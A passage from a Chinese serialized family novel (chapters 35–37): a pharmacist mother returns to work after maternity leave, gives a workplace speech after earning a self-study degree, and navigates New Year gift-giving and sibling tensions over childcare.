但这时候学校里的学生基本上都已经找好实习了,她们医院药房进了小胡后,这二年都没打算再招人的,也就没要实习生,现在这十一月多,哪里好找人哦。 两个人叹口气,这也不是她们该考虑的事,只是招不到人,她们就要辛苦些了。 这事暂且先不提,中午午休的时候,舒英换好衣服,拎起包就往家赶,这六个月她跟谷雨几乎就是形影不离,哪怕李妈抱着出去串门,也是一会儿就回来了,这猛然分开大半天,她还真有些想得慌,上班的时候,心里也一直念着她,怕她吃不好睡不好,反正怎么样都不太对劲。 到家里,李妈正在床上哄着谷雨玩呢。 谷雨本来高高兴兴的,一扭头看见妈妈,小嘴瞬间就瘪下去,手里的玩具也不要了,随手往旁边一扔,张着胳膊就要舒英抱,眼泪跟不要钱似的哗啦啦就淌下来。 舒英看着心疼得不行,立马上前将闺女搂在怀里。 李妈还道:“你早上一走,她就不太开心,但还能忍一会儿,一只看不见你就开始闹人,哭着就要找你,家里找不到就要去外面找,怎么哄都不行,把玩具递她手里,立马就给你扔了,哭累了睡着了,才算是暂时停了一会儿,醒了没看见你又继续哭,哭得眼睛都红了,刚刚才算是哄着玩儿了一会儿。” 舒英听着这话,再看着怀里安安静静吃奶的谷雨,觉得自己心都碎了,怪不得人家都说生了孩子,当妈的就被拴住了,这种感觉跟之前没生的时候是真的不一样,感觉闺女的一举一动都牵动着她的想法,看见孩子难受她恨不得是自己难受。 李妈见她喂着孩子,起身去烧午饭。 舒英抱着孩子哄,一整个中午,谷雨都搂着她的脖子不肯撒手,李固言回来想抱抱她亲热亲热,她都不乐意,哼哼唧唧地就只认舒英。 舒英被女儿坚定地选择着,心里是高兴,但又担心下午她去上班了,孩子又要跟她分开,不知道又要哭成什么样。 吃完饭,舒英就带着谷雨去午睡,谷雨好像生怕一睁眼,妈妈就又不见了,躺在床上不肯闭眼,一双圆溜溜水灵灵的大眼睛,一错不错地盯着妈妈瞧,大大的眼瞳里只盛得下妈妈的倒影。 李固言在旁边看着,轻轻在谷雨脸上亲了一下,“小家伙只喜欢妈妈,也不见喜欢爸爸,你天天半夜起来喝奶可都是我喂你的,你的尿布可也都是我帮你洗的,对你这么好都不让爸爸抱,真是小坏蛋。”说完拍了拍她的小屁股,谷雨不耐烦一样的扭了扭,又往舒英怀里钻了钻,看得两人都忍不住笑。 舒英摸着她的小鼻子道:“真是小人精。” 李固言也躺倒抱着她们娘俩,“没事,我不伤心,闺女能第二喜欢我就行。” 舒英听到这话,没忍住瞥他一眼,还第二喜欢他,第三还差不多。 迎着她的眼神,李固言诧异道:“不是吧,咱妈还排我前面呢?” “那你说呢?”舒英睨他一眼,白天都是李妈领着,李固言也就是饭 点回来抱抱,夜里看着,但夜里她都睡着了,也就是醒夜的时候被他喂点奶粉,在谷雨心里,他还真不一定比得上李妈。 李固言低头看着谷雨,伸手轻轻戳了戳她的小肉脸,瞧着有点失落。 舒英看着他的表情心有不忍,他陪的少也是因为要工作,而且一有时间就回家,活也没少干,她伸手摸上他脸颊,“好了,真是越活越幼稚了,你是孩子爸爸呢,她不喜欢你喜欢谁?” 李固言扁扁嘴,没说话。 还说谷雨长得不像他呢,父女俩这小表情简直是一模一样。 舒英笑了笑,伸手刮了下他鼻梁,又撑起身在他唇上啄了一下,哄着道:“好了好了,别伤心了,我喜欢你,我最喜欢你。” 话出口才意识到自己说了什么,房间里的空气瞬间凝滞,李固言也不可置信地抬眸看她,眼神里是欣喜若狂,嘴角控制不住地上扬,“老婆,你再说一遍,我没听清,你再说一遍。” 舒英面染潮红,甩开他的手躺下,搂着闺女闭上眼,装作刚刚什么都没发生的样子。 李固言看着她颤动的长睫,薄薄的眼皮下眼球滚动着,他喉结上下滑了滑,闷闷笑出声,也躺下后抱着她,轻声道:“我也最喜欢你。” 舒英唇角弯了弯,眼睛还紧闭着,脑袋在他怀里蹭了蹭,闻着他身上淡淡的肥皂味睡去。 等她睡醒起来时,李固言已经去上班了,她低头看了眼谷雨,谷雨也睡得正香,两只小胳膊向上伸着,小嘴巴微张,鼻翼一耸一耸的。 舒英轻轻掀开身上的被子,蹑手蹑脚地从床上下来,衣服都不敢在房间里穿,生怕一个不注意将谷雨吵醒。 李妈见她起来了,问:“谷雨呢?” “还在睡呢,妈你现在进去陪她睡一会儿吧,我趁着她睡着赶紧走。”舒英抱着衣服在外间穿好,拿了包换了鞋后悄悄出门,连回头看一眼都不敢,生怕自己一个心软又不舍得出去了。 才刚出院子,就听见身后房间里传来小儿啼哭声,那声音撕心裂肺,搅得舒英心里实在难受,咬着唇低着头快走。 走出二里地了,好像还能听见那哭声,哪怕是到了医院也还想着谷雨现在怎么样,有没有乖乖的跟奶奶玩? 第36章 第 36 章 演讲 自考成绩一个月出来, 十一月底的时候就可以查成绩,舒英全部通过,成功拿到本科毕业证。 药房里的人这也是才知道舒英休产假的间隙竟然还弄了个这, 而且还通过了。 小胡摇着头佩服道:“姐, 我是真没想到,你怎么还有精力考这个。” 舒英笑笑没说话,医院是有学历补贴的, 本科生一个月是十二元,研究生再高点。 张主任将舒英的情况上报,宋院长知道的时候也很诧异,他怎么也没想到药房里的一个小工作人员竟然有这么大的上进心, 能趁着休产假的时候去参加自考。 虽然只是自考本科学历,比不上正经的全日制本科,但这毕竟是员工的进取心,有这个心就是好事。 他道:“这个是好事, 是值得表扬和鼓励的, 你跟她说准备一个演讲稿,等下一次开大会的时候分享一下自己的经历。” 张主任也高兴, 就凭着他们药房那养老一样的工作, 以往这种出风头的事是怎么都不可能轮到他们药房的,高高兴兴地带着宋院长的指令回去了。 舒英也没想到会是这个结果,她以为就是给自己加点补贴,最多最多能给她一个口头表扬, 哪知道这宋院长会直接让她准备演讲?跟小时候上学国旗下讲话似的。 小时候上学国旗下讲话也没轮到过她啊?! 她有这个出风头的机会,小胡瞧着比她兴奋得多,握着她的手激动道:“姐,那你到时候岂不是当着医院所有医生护士的面演讲吗?” 舒英点点头, 脑子里一想到那个场面,心里就有点发怵,她从小到大都是个普通学生,成绩不好不坏的,从来就没当着那么多人说过话。 小胡没察觉到她的忐忑,兀自开心道:“我看这回谁还敢说咱们药房的不行,天天在我面前拽的二五八万似的,怎么现在轮不到他们讲话?” 舒英瞧着她这小人得志的样,可爱的让人忍不住笑,伸手拧了拧她的脸颊肉说:“行了,我这正紧张呢,你就别跟我搞这出鸡犬升天的戏码了,你要是有空的话就帮我想想这演讲稿怎么写。” “嘿嘿~”小胡不好意思地笑笑,又感觉这样好像很没用的样子为自己补充道,“姐,这真不是我不想帮你想,问题是我也没发过这种言呐,我没有经验!” 舒英食指点了一下她的头,白了她一眼道:“真是,指望你还不如我就地躺下来的快。” 小胡嬉皮笑脸地笑,见有病人来拿药,脚底抹了油一样赶紧溜走了。 舒英见这个徒弟是指望不上了,只能自己琢磨。 晚上回到家,吃完饭后还在咬着笔头想要怎么写这个演讲稿。 李固言回来后就看到这个场景,他脱掉身上的厚外套,上前看了两眼好奇问:“这是些什么呢?这么出神。”此从考完试了后,他就没怎么见舒英这样坐在书桌前了。 舒英将今天白天的事告诉他,李固言道:“这是好事啊。” “我知道是好事,但我这不是不知道怎么编这个稿子吗?”舒英皱着眉,有些苦恼。 李固言要接过李妈怀里的谷雨,李妈扭过身道:“给你留的饭还在锅里坐着呢,你现在去趁热吃吧。” “没事,我先抱抱谷雨。”说着探身将谷雨抱过来,又转头对舒英道,“等我吃完饭,我帮你一块儿想想。” “真的?”舒英握着笔杆子问。 李固言看她一副不相信的样子笑起来道:“我骗你干嘛。” 李妈也在旁边说:“固言打小就没少过这种发言,他熟得很。” 舒英听了这话才算是相信他,将笔和稿纸往前一推,也起身站起来笑说:“谷雨给我,你赶紧去吃饭,吃快点昂。” 李固言抱着谷雨不想撒手,但奈何谷雨是个小叛徒,看见妈妈整个身子就都俯过去了,让她爸抱都抱不住,李固言见状无奈道:“行行行,我去吃饭。” 舒英抱着谷雨,忍不住狠狠亲了一下:“妈妈的好闺女。” 谷雨不明白妈妈的动作,但能感受到妈妈的爱,高兴得“咯咯”地笑,小身子还要一跳一跳的。 李妈看着握谷雨的小拳头也笑:“闺女还是和妈亲。” 李固言几筷子就把饭扒拉完了,跟没嚼似的就咽下去,李妈看着直絮叨他:“吃饭不能这么吃!要把胃吃出毛病来的,你现在年轻不当回事儿,等你到我这么大就等着看吧!” 李固言没法,只能放缓了吃饭速度,李妈这才满意,又说:“这样才对,要不然等你老了,胃都坏的不成样了,到时候吃什么都消化不了,看那时后悔去吧!” 吃完了饭,李固言总算是能把心心念念的闺女抱在怀里了,一边逗着闺女一边问舒英演讲稿的要求。 舒英叹口气:“我们主任也没跟我说那么清楚,就说是宋院长要求的,说我这个经历非常励志,让我跟大家分享一下,这就搞得我无从下手,根本不知道该怎么写。” 谷雨在李固言怀里一点也不老实,扑腾着两条小短腿就要伸手去够妈妈,李固言拿过玩偶去吸引她的注意力,这才哄得她能好好的在他怀里待一会儿。 舒英瞧着父女俩的动作直笑,又催着李固言快点告诉她要怎么写。 李固言叹口气道:“你们母女俩对我真是无情。” 舒英笑起来拍了他一下,“行了,别贫嘴了,快点说怎么写。” 李固言认命地坐下,问:“你写多少了,我看一下。” 舒英将稿纸拿到他面前,才写了两行。 “演讲稿这个东西其实也不难写,你就想一下领导想让你说什么,那你就写什么,你们领导想让你分享这个自考的经历,肯定就是想拿你竖旗子嘛,那你就写你一开始报名自考的动机,就往医院凑,就说收到了什么领导的激励之类的东西,动机写完再写过程,过程中遇到了哪些困难,又是怎么解决的,反正要多体现医院的帮助,领导的鼓励……” 舒英看着他……怀中的谷雨,也不知道在没在听,李固言压下眼咳了一声,舒英跟才回神似的,逗着谷雨,又朝着他讨好地笑笑,问:“你待会儿还要回厂里加班吗?” 李固言不知道怎么正说着写演讲稿的事儿呢,她又问加班了,他摇摇头说:“不用。” 舒英立马笑起来,弯腰把谷雨从他的怀里抢走,说:“我觉得你刚才讲的非常好,你的这些演讲稿的框架肯定非常符合我领导的要求,这个演讲稿非你莫属!李工,今晚真是要麻烦你了!”说完得逞似的抱着谷雨到后面床上坐着。 李固言惊讶地看着她,又好笑又无奈地拿起桌上的笔,妥协道:“那我帮你写初稿,写完你自己再看看,有什么不合适的地方你再改一改,别直接照着念。” “好!”舒英没有不应的,又伸手戳了戳谷雨的小脸笑道,“爸爸真好是不是?” 李固言听到她这话忍不住吐槽:“为你所用的时候最好。” 舒英在他背后认同地点头,等他没得到回应而转过头来看她的时候又一脸正色道:“怎么能这么说呢?我不许你这么贬低你在我心目中的地位。” “哼。”李固言自知自己说不过她,劳碌命地将演讲稿填满,整整写了三页纸,笔走游龙,既锋利又流畅。 舒英拿到手里看很是满意,奖赏似的在他脸颊上亲了一下。 李固言却不太满意,圈着她的腰问:“就这样?” 舒英哈哈笑起来,双手搂上他脖子,狠狠在他唇上吻下去,缠绵热烈。 一吻毕后,李固言也有些气喘,眼神灼热地盯着她,又颇为矜贵地点点头:“这样还差不多。” 舒英第二天上班就把演讲稿拿给张主任看了眼,她连一个字都没改,只是重新誊抄了一遍,李固言的字太有个人特色,跟她的完全不同,不能拿到领导面前,否则岂不是自首吗? 张主任粗粗浏览了一遍后,又仔仔细细地看了一遍,看罢后才满意地点点头夸道:“不错不错,这篇稿子十分流畅,该表达的思想也都表达的很充分,不用改了,下星期你就直接拿着这个上去讲就行。” 该表达的思想?就是夸赞领导教育有方,他们药房在他的带领下才有今天的成就,她舒英也是受了他张主任的感染才这么有进取心。 别看李固言平日里多么清高,好像不屑讨好任何人的样子,但他又不是傻子,要真是不通人情世故,也不可能成为厂里炙手可热的人,备受陈主任喜欢了。 所以他写出来的这篇稿子就很合张主任的胃口。 舒英瞧着张主任脸上放不下去的笑意,连看着她的眼神都比平时更为亲切和善,她也笑着点点头答应:“好的张主任,那我下周就按照这样讲了。” 大会上,宋院长照常发表完讲话后就让舒英演讲。 舒英深吸一口气,看了一眼台下人头,这里面有她熟悉的,也有她不认识的,大家平日里都为二院工作,都是同事,但医院也自有其阶级,医生高于护士,护士高于技师,所以以往大家对她就算客气,言语中其实还是隐隐的有些看不上的,只是大家都是成年人,谁也不会把这个话说透而已。 没想到今日舒英自己就要站在这么多人的面前分享自己的这个经历,她不由得抿唇笑了笑,还说小胡“小人得志”呢,她自己又何尝不是。 为了这次演讲,舒英在家里练了很多遍了,已经是可以完全脱稿的状态,声音连个颤儿都没打,很流利地将几页稿纸完全说出来,结束后才发觉小腿肚子有点发抖。 宋院长等她讲完后,将话筒拨到嘴边,笑着道:“舒同志的这种自主考学提高学历的经历是非常好的,非常值得大家学习,而且还是在自己休产假期间,挤出时间来学习,这种不断进步不放弃学习的精神非常值得鼓励!” 一连三个“非常”,舒英听着都有些脸红,不是所有人都跟她这么幸运的,她休产假的时候,孩子都是李妈带着,夜里孩子饿了起来喂奶也是李固言哄着,所以她才能有这么多的精力放在学习上,否则跟舒秀珍似的,孩子只能自己带着哄着,别说考学了,能翻两页书都不可思议。 会议结束后,宋院长还把舒英留下来聊了几句,私下对她的行为很是夸赞。 舒英以前是她认识院长,院长不认识她,现在也算是在院长这里留了名了。 日子还一天天的过,很快就又到了过年。 李固萱暑假的时候刚考上沪市的研究生,学习也忙得很,临近了年根才回安城来。 李妈特意去火车站把人接到机械厂来。 李固萱也半年没见着谷雨了,小孩子见风长,半年多不见就大变样了,九个月的小孩对一些事物已经有认知了,会熟练地爬行,也能短暂的站一会儿。 李固萱瞧着稀奇得很,抱着孩子就不想撒手。 “叫姑姑,叫姑姑~” 她喜欢谷雨,谷雨可还不认识她呢!睁着一双乌亮亮的大眼睛懵懂地看着她,左看看右看看,愣是想不起来她是谁,她又凑得那么近,对着她又亲又抱的,把谷雨吓得咧着嘴就嚎啕大哭起来。 李固萱也没想到孩子说哭就哭,一瞬间也慌了神,抱着她不知如何是好,扯着嗓子喊李妈:“妈!妈!你快来,小家伙哭了!她是不是饿了啊?” 李妈正在厨房忙活呢,冷不丁听见孙女的哭声,铲子都忘了放就往里屋跑。 谷雨见了熟悉的人,张着小手就要让李妈抱,眼角还挂着泪,嘴巴一瘪一瘪的,哭得冒鼻涕泡,让人看了要多可怜有多可怜。 李妈赶紧将铲子放下,把谷雨从李固萱怀里接过来,又拿手帕给她擦了眼泪鼻涕,才去检查她是饿了还是尿了。 也没饿也没尿,就是不让李固萱抱,谷雨两只小手紧紧地扒着李妈,看都不看李固萱一眼,好像生怕李妈把她又递给这人。 李固萱“嘿”了一声,“这小家伙怎么还嫌弃我呢?” 李妈见状有些哭笑不得,解释道:“她还不认识你呢,等你在这待两天,跟她熟悉熟悉就好了。” 李固萱推了推鼻子上的眼镜,“哼哼”了两声。 李妈抱着谷雨,鼻子嗅了嗅,突然大惊失色,连忙又把谷雨递给她:“锅里炒着菜呢,被你这一耽误,肯定是糊了!”说完赶忙又往厨房去,铲子又忘了拿。 谷雨冷不防又被送到这个陌生人手里,两只眼睛瞪得圆溜溜的,一张嘴又要哭出来。 李固萱提前察觉,赶紧捞了一只玩偶放她手里,抱着她又哄又晃的,“我是姑姑,是姑姑,不是陌生人,谷雨不要哭啊,我真的是姑姑。” 舒英到家就见到这么一副兵荒马乱的样子,闺女在李固萱怀里哭得要上气不接下气了。 李固萱看见她,都来不及叙话,跟见了救命稻草似的,赶快将谷雨给她,边解释说:“谷雨不认识我,妈又做饭顾不上她,哭得我哄都哄不好。” 差不多二十斤的小家伙,她抱得胳膊都酸疼了,还是止不了眼泪。 谷雨眼泪巴巴地在舒英怀里,瞧着真是委屈的小可怜,嘴里一直哼唧着“妈妈”。 舒英看了也心疼得不行,抱在怀里轻轻拍她的背哄着。 等谷雨安静下来后,姑嫂两个才顾得上说话。 李固萱将自己给谷雨带的 礼物从包里拿出来,是一个很可爱的小羊布偶,谷雨属羊。 舒英看着也觉得好看,拿着谷雨的小手去接,谁知道谷雨跟记了仇一样就是不肯靠近李固萱,撇着小嘴像是又要哭。 李固萱也是被她哭得吓到了,也不敢借小羊玩偶要求与侄女的亲近了,慌忙将小羊放到床上,保证道:“姑姑不抱了不抱了,那是姑姑给你的礼物。” 谷雨看了她一眼,“哼”一声又把头扭回来,埋进妈妈的怀里。 舒英看着姑侄俩也觉得好笑,谷雨以前可没对谁有这么大的意见过,她拍了拍她的小屁股,“是小姑姑呢,你刚满月的时候小姑姑还抱过你呢!” 对一个九个月的孩子回忆刚满月的时候,舒英自己都觉得离谱。 李固萱看着谷雨肉墩墩的小身子,跟招子画报似的可爱,实在是有些手痒的想亲亲抱抱,但奈何小家伙被她给吓到了,理都不愿意理她。 这种情况维持了两天才算是结束,谷雨终于算是愿意给这个便宜小姑姑一个笑脸了,可把李固萱高兴坏了,在李固言面前反复地说。 李固言跟看傻子似的看了她一眼,实在疑惑问:“你这个研究生到底是怎么考上的?你可离我闺女远点,别给我们传染傻了。” “哼!”李固萱白了他一眼,又用手肘撞了他一下,才心满意足地去逗谷雨。 一放假,几人就都从机械厂回李家去,机械厂住不下,李固萱这段时间都是住在李家,白天一早坐着公交车过来陪谷雨玩,一天天的也不嫌累。 李爸还没退休,平日里要上班,不能天天见到谷雨,这下谷雨回来住,可把他这个爷爷高兴坏了,抱着孩子就要出去炫耀去。 小谷雨长得白白净净,一双大眼睛水灵灵的,跟个小精灵似的,在机械厂的时候就招人喜欢,来到了李家这边,更是吸引了不少眼馋的邻居,让李爸出尽了风头。 这一年,李妈住在机械厂又是照顾舒英月子,又是帮着做家务带孩子,很是辛苦,舒英跟李固言商量着过年要给包多少红包,才算是尽了做孩子的心意。 李固言想了想说:“包多少红包都觉得不到位,还显得客套,要不咱们买条金项链或者金手镯吧?” “这个好,到时候分量买足一点,今年我是真的谢谢妈,她这一年没少给咱们操心。”舒英说完又道,“也给固萱买一个金耳环什么的,她这放了寒假就天天往咱那边跑,说是喜欢谷雨,其实也是心疼妈操劳,所以天天过来帮忙领着谷雨。” “行,都行。”李固言过来抱着她,下巴搭在她肩膀上,看着镜子里的精致容颜说,“你也买,新年要戴新首饰。” 舒英摸着脖间的平安扣笑了笑,说:“本来说过完年换了彩电的,这下看来又泡汤了。”他们家还是黑白电视呢。 李固言听到这话有些愧疚,说:“我明年再努力点,争取咱家早日换上彩电。” 舒英拉着他在自己旁边坐下,靠着他肩膀说:“我已经很满意了,你又不是铁人,不用再努力了,就这样我都觉得你辛苦。” 李固言心间暖流经过,被人心疼是一件很幸福的事,他低头吻了吻她的头发,轻声说:“我只觉得给你的还不够,我想让你住大房子,让你的新首饰天天换着戴都戴不完,让你、让谷雨天天都开开心心的。” 舒英从他身上起来,看着他深情的眼神笑说:“我觉得自己现在既幸福又快乐,一点也没有觉得不够,只要我们一家三口在一起,不管是住小房子还是住大房子,我都满意,都开心,以后我们两人一起努力,争取让谷雨能够无忧无虑地长大。” “好。”李固言抿唇浅笑了下,低头在她唇上轻吻。 买金饰的时候,舒英和李固言没跟李妈和李固萱说,怕说了她俩心疼钱不同意,他俩借口有事,将谷雨放在家里,自己去的。 金店过年生意格外的好,都人挤人,舒英给李妈挑了一只金手镯,沉甸甸的,三十五克。给李固萱挑的一对金耳环。 李固言之前送舒英的是一条金项链,这次就没买项链,舒英看着柜台,也挑了一对耳环。 其实耳环、项链、戒指,这三金在结婚的时候,李固言就做彩礼送她过一次了,只是那时候俩人没感情,这三金款式也不太合舒英眼光,她就一直收着没戴过。 她记得李固言之前还问过她怎么不带,她那时候怎么回答的?好像是说戴了怕丢。 第37章 第 37 章 争执 舒英和李固言把金首饰带回去, 等到除夕那天晚上吃完饭才拿出来。 李妈迟疑地看着舒英递过来的红色丝绒盒,边接过边问:“这什么?怎么又瞎花钱给我们买东西?你有这个钱呀还是存起来留着给谷雨。”话音刚落,盒子打开, 素圈的金镯子在暖黄的灯光下显得又闪又亮。 舒英笑着说:“今年妈帮我们带谷雨, 实在是辛苦了,我和固言想着也不知道给您送些什么好,就商量着买个金手镯吧, 金子的也不会过时,什么时候戴都好看。” 李妈看着金手镯,拒绝的话还没说出来,就见她又另外掏出一个小首饰盒递给旁边的李固萱:“也给固萱买了一对金耳坠, 你看看喜不喜欢?” 李固萱也很惊讶,金子可不便宜,就算耳坠克重不多,那也是要不少钱的, 她怎么也没想到嫂子竟然也会送她一对, 她忙推拒道:“谢谢嫂子还想着我,但我就不用了, 我平时上学也戴不上这些。” 舒英笑盈盈的, 直接将耳坠从盒子里拿出来就放到李固萱手里:“不用什么?你平时跟同学们一块儿出去玩也要戴个首饰打扮打扮自己吧?我瞧着这耳坠配你正好,我跟你哥可是精心选了好久呢,生怕你会不喜欢。” 她话说到这份上,李固萱再不接受就有点嫌弃的嫌疑了, 李固萱犹豫地看了一眼李妈,舒英注意母女两人的动作,没等李妈同意或者不同意呢,直接站起身拿着耳环轻轻穿过李固萱的耳洞, 又从小包里掏出随身镜递过去说:“看看多好看,这耳坠正配你呢!” 李固萱微微晃了下脑袋,镜子里的金耳坠晃了晃,金光灿灿的,小巧又精致,的确是好看,她越看越喜欢。 李妈见状也不好再说出不同意的话来,只好笑道:“还不快谢谢你嫂子!” 李固萱立马笑起来,微微俯身伸手环抱住舒英,撒娇道:“谢谢嫂子的新年礼物!我今年都没给你准备礼物呢,等我明年给你补回来。” 舒英笑道:“好,那我就等着了。” 李固萱的耳环都收了,李妈也不好不收金手镯了,这手镯分量不轻,舒英亲手替她戴到手腕上,笑着夸赞说:“妈皮肤白,戴上这金镯子衬得格外的好看。” 李妈听了她的话抬起手腕仔细端详,平时不觉得,这戴上金镯子后,显得手腕处皮肤十分细腻,一点毛孔都没有。 李妈笑起来,又推搡了一下旁边笑呵呵的李爸,嗔怪道:“你看,我嫁给你这么多年了,也不见你给我买金,还是儿媳妇疼我,舍得在我身上花钱。” 人与人交往就是真心换真心,她以前是不喜欢舒英,但相处这么长时间,她也是真的改观了,觉得舒英这孩子是真不错,有什么事都能想着他们。 李爸一派的儒雅少言,笑了笑说:“孩子大了,都懂事了,咱们也可以享享孩子的清福了。”说完又去逗弄小孙女,“是不是,小谷雨?” 李妈白他一眼,又喜滋滋地摸着手腕上的金手镯,哎呦,这手镯分量是真足 ,过年这几天她是可以好好炫耀炫耀了! 不过美了一会儿后,她又嘱咐李固萱说:“你出去玩可别戴这金子的,现在外面坏人多,从你身边路过,瞥一眼你是金子的,一把就给你薅走了,也不管你耳朵哗啦啦淌血。” 舒英和李固萱都被她这说法吓到,不可思议问:“现在外面这么严重了吗?” 李妈见她们还有些不信,一撇嘴道:“可不是吗?就家属院那谁,就住咱们后头那家,她不就是带了个金耳环,买菜回来的路上就被人拽走了,耳洞都劈了,流了一脖子血,瞧着真是吓人,报了警,到现在都没抓到呢!” 李固言听到这话也有些吃惊,惊讶过后担心地看了眼舒英,说:“那你以后也别戴了,别遇上了这种事。” 舒英心有余悸地点点头,她之前也隐隐约约听说过这种事情的发生,但总觉得离自己远着呢,也就一直没放在心上。 “现在坏人猖狂,避无可避的,谁知道什么时候就碰上了,还是小心点好,到时候这金子上面缠一圈红线,给包起来再戴,好得多。”李妈也有些可惜地把手上的手镯看了又看,缠了线的金手镯谁还能看出来是金子的呢? “行了,不说这些了,咱在自己家戴,总不会有什么事,只是说出去的时候注意点就行了。”李妈瞧自己的话把姑嫂俩吓得不轻,忙安慰着。 这个话题过去,李爸李妈看了会儿春晚就回房睡觉了,谷雨也一个哈欠接一个哈欠地打,被李固言哄着睡觉,睡着后给放到房间里床上。 就剩他们三个年轻人又凑到一块儿斗地主。 初二回娘家,舒英和李固言抱着谷雨到舒家去。 他们仨刚到没多久,舒秀珍和严磊也带着贝贝来了。 贝贝现在刚刚两周岁,已经会走会跑了,不过站起来还没人腿长,话也还说不清楚,两个字三个字地往外蹦,是最惹人爱的时候。 舒秀珍去年年初还一脸灰败呢,这一个年过去,就春风得意极了,她现在在私人公司做业务员,因为性格大方爽快,又敢闯敢拼,很是得老板喜欢,她的工资也是一升再升,现在她一个人的收入抵得上三个严磊。 相较于舒秀珍的满面春风,严磊就沉默多了,就领着闺女玩,也不参与他们之间的聊天。 舒秀珍说着说着就忍不住翻他一个白眼,觉得他实在是不会来事。 贝贝这一年还是在姥姥家待着的时间长,小小的人儿就很会察言观色,小尾巴似的跟在舒妈身后,一会儿帮着递个橘子,一会儿帮着拿个垃圾桶。 舒英瞧着她跟看见了自己小时候一样,她心疼地唤她过来,一把抱在怀里,哄着道:“贝贝还认不认识我呀?” “认识~”奶声奶气的。 舒英笑起来,亲了下她的小脸,又柔着声音问:“那你要叫我什么呀?” 贝贝歪了歪小脑袋,眼睛眨巴眨巴地盯着她,没说话。 旁边的舒秀珍笑起来,塞了牙橘子到她嘴里,教着说:“叫小姨。” “小姨~” “哎!”舒英抱着她晃了晃,“贝贝真聪明,一教就会。” 贝贝被她哄得揣着小手笑起来,接着又像是突然看到了什么似的,笑容逐渐消失。 舒英顺着她的视线看过去,正是王梅抱着宝宝,宝宝现在也一岁多了,胖嘟嘟的很是可爱。 舒英悄悄扫了眼舒秀珍后,用身体挡在贝贝眼前,自从之前那件事后,王梅就还是不喜欢贝贝,所以贝贝现在一看见她就有点害怕。 总这样也不是办法,尤其是舒英觉得贝贝现在跟她小时候实在是太像了,尤其是那个小心翼翼的劲儿,才两周岁的孩子呢! 她扭头看了眼在李固言怀里笑得没心没肺的谷雨,谷雨注意到妈妈的眼神,张着小手就要让她抱。 舒英对比着俩孩子,都是各自家里的宝,就是要这样无忧无虑的才对嘛,太懂事的孩子过得辛苦。 这过了年,舒武茂也二十二岁了,他女朋友也就比他小一岁,在他们这小城里,有工作有体面的女孩子,也该着急着结婚了。 舒爸舒妈这时候正愁这件事儿呢,年前没少在舒武茂学校旁边给他看房子,有了房子才好结婚啊。 其实这年头不买房子,结婚后就跟着爸妈哥嫂一块住的也不少,家里正好两间房,兄弟俩一人一间,老两口再在客厅里隔一间出来,挤一挤也能住下。 但舒武茂这个对象家里条件不差,肯定是不能委屈人家这样住的,要不人家爹妈第一个不同意他俩的婚事。 没办法,为了舒武茂结婚,家里就只能给凑房子钱,结婚也不是说光有了房子就行,房子里也不能空荡荡的,这也不好看呐,冰箱彩电洗衣机,总得有吧,这哪一样能便宜了? 这可不就愁人嘛! 为了他结这个婚,这姊妹三个各家都给拿了钱了,李固言工资高奖金也多,舒秀珍今年也好起来了,赚得也不少,这俩家都能负担。 舒文佑和王梅两口子就不是了,他俩就是普通工人,平时赚的钱还得交家用,舒文佑又是儿子,是大哥,拿的钱还要比两个妹妹多些,这下王梅就有些不满了。 在王梅心里,舒英也就算了,舒秀珍的女儿天天放在舒家,让舒妈领着,自己赚那么多钱也不想着兄弟家过得辛苦,也不提把贝贝接回去,结果出钱他们小家还得拿大头,真是什么好事都让舒秀珍占尽了,她可不就心理不平衡了吗! 她看着舒秀珍跟舒英姐妹俩聊天聊得开心,白眼是一个接一个地翻,要不是顾忌着大过年的不好吵架,她非得问问舒秀珍她良心痛不痛。 舒英跟舒秀珍说着话,也注意着周边众人的表情呢,她一眼就看出王梅的不乐意来,虽然不清楚具体是什么事,但也知道是冲着舒秀珍来的,她抿了下唇,看着毫无所觉的舒秀珍,心下叹气。 下午要走的时候,舒英特意拉了舒秀珍一把,跟着她一块儿出的家门。 舒英拽着舒秀珍往前走,俩男人就跟在后面抱着孩子。 李固言跟严磊也没什么话要说,连襟两个连简单的客套话都显得别扭,孩子太小,还不能在一起玩,俩人就各自抱着各自的孩子,安静地在后面慢慢走。 舒英回头看了一眼,见谷雨乖乖待在爸爸怀里,帽子围巾手套都戴的好好的,就露了一张白白净净的小脸在外面,她放心地点点头,余光又扫到旁边的姐夫,抱着贝贝的动作明显生疏很多,贝贝不自在的扭了扭小身子,搂着严磊的脖子,不舒服但又不敢说的样子。 舒英拧了下眉,转过身问舒秀珍:“你这今年还打算就这样吗?” 舒秀珍没反应过来她说的什么,扬着眉“啊”了一声。 舒英解释说:“我是说,你今年还打算就这样天天把贝贝放在妈这里吗?” “那不放在妈这,也没人看着她呀。”舒秀珍不以为意地摆摆手,她还以为舒英要跟她说什么大事呢,搞来搞去就这事儿啊。 舒英对她这个回答很不满意,亲姐妹之间也没什么顾忌,她直言道:“嫂子对贝贝有成见我不信你心里不清楚,你也不能为了跟她怄气,就这样把贝贝放在她眼前膈应她吧?到头来,吃亏的还是你和贝贝。” 舒秀珍精致的双眉也皱起来,不耐烦地看着她说:“那我自己妈家,又不是她王梅家,凭什么我不能把贝贝放在妈这里?” 舒英就知道她不光是因为贝贝没人带,主要还是想跟王梅别苗头,她拉了她一把继续往前走,劝道:“是,那是咱自己妈家。但问题是,爸妈现在跟大哥大嫂一起住,他们年纪也大了,态度也软和了,妈以前多不喜欢嫂子,你没发现现在妈对着嫂子都硬不起来了吗?” 舒秀珍一说这个就生气,以往妈多疼她 ,结果跟儿子比起来,她什么也算不上,整天就说什么养儿防老养儿防老,她没见自己这俩兄弟多给爹妈防老,大的这娶了老婆生了儿子还得妈伺候,小的还没娶上老婆呢,就把一大家子都给折腾了个遍,那以后再娶上老婆了还得了! 但她再生气,也得承认,在舒爸舒妈心里,闺女再亲也比不上人家俩儿子亲,闺女再孝顺也比不上俩儿子中用。 舒英见她态度松动,继续劝道:“你跟嫂子置气,除了妈夹在中间不好做,你再回头看看贝贝呢?你说贝贝这才多大,你看刚才在妈家里多懂事?你觉得这样对贝贝好吗?这么小的人在不喜欢自己的舅妈面前晃荡,那种寄人篱下的感觉,她就算还不会说话她心里也懂。” 孩子只是小,又不是傻,待的舒服还是拘谨,她自己是清楚的,而且她在舒妈那毕竟是外孙女,就算舒妈再疼她也还是比不上宝宝这个大孙子,舒妈是上一辈人,她的观念老旧,重男轻女还是避免不了的。 哪怕是现在就他们这一辈人,又有多少人为了拼个儿子而东躲西藏甚至甘愿放弃有正经编制的工作? 这种事情没法说,说到底说再透都没用。 